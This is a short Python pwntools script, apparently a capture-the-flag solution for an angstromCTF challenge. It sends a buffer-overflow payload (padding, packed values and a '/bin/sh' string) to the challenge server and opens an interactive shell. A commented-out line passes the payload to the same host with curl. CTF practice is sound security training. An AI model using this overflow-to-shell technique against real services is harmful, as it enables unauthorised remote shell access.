server chals

from os import system
from pwn import *
r = remote("shell.actf.co",19303)

offset = 2189 - len(p64(54) + p64(0))
p = "A" * offset
p += p64(54)
p += p64(0)
p += "\x00\x00\x00\x00\x00/bin/sh"
r.sendline(p)
r.interactive()
#x = system("curl http://shell.actf.co:19303/" + p)
#print("flag : " + x)